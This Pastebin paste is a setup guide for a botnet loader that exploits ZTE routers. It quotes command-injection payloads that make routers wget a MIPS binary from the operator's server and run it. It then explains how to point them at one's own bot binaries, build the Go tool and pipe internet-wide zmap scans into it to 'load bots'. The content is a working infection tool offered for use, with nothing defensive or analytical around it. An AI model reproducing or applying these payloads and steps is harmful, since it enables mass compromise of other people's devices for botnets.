Merlyz

ZTE GOLang Setup

Oct 12th, 2020
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. [Merlyns ZTE Setup]
  2.  
  3. Requirements: Zmap and Golang. You can set this up yourself.
  4. (Next Command)
  5. Requirements: yum install python-requests
  6. (Next Command)
  7. Requirements: yum install golang
  8. (Next Command)
  9. Requirements: nano /usr/include/bits/typesizes.h you have to set this to 999999.
  10.  
  11. In the ZTE.GO file you will see a specific couple of lines that look like this:
  12.  
  13. var payload []byte = []byte("IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=cp+%2Fetc%2Finit.norm+%2Fvar%2Ftmp%2Finit.norm&CmdAck=")
  14. var payload2 []byte = []byte("IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=wget+http%3A%2F%2F111.11.111.111%2Fgaybub%2Fmips+-O+%2Fvar%2Ftmp%2Finit.norm&CmdAck=")
  15. var payload3 []byte = []byte("IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=%2Fvar%2Ftmp%2Finit.norm+ztev2&CmdAck=")
  16.  
  17. The only thing we need to change is: 1&Cmd=wget+http%3A%2F%2F142.93.157.119%2Fgaybub%2Fmips
  18.  
  19. Where is says (111.11.111.111) Replace that with your Net IP. Where it says (gaybubs) change that to your net bins, every bin should be named the same name. Where it says (Fmips) put your mips bin name in that. Example: (Fgay.mips)
  20.  
  21. Install: go build -o zte zte.go
  22.  
  23. Now finally to run the exploit this is the command: zmap -p 443 -w jo.zone -B1M|./zte (You may replace with whatever zone you want).
  24.  
  25. If you are going to use an external zone make sure it is a .zone file.
  26.  
  27. If ZTE is not loading any bots like lets say 4 bots in 15 minutes that means you have to set your ulimits, etc. And then reload your net and it should load a decent amount of bots.
Add Comment
Please, Sign In to add comment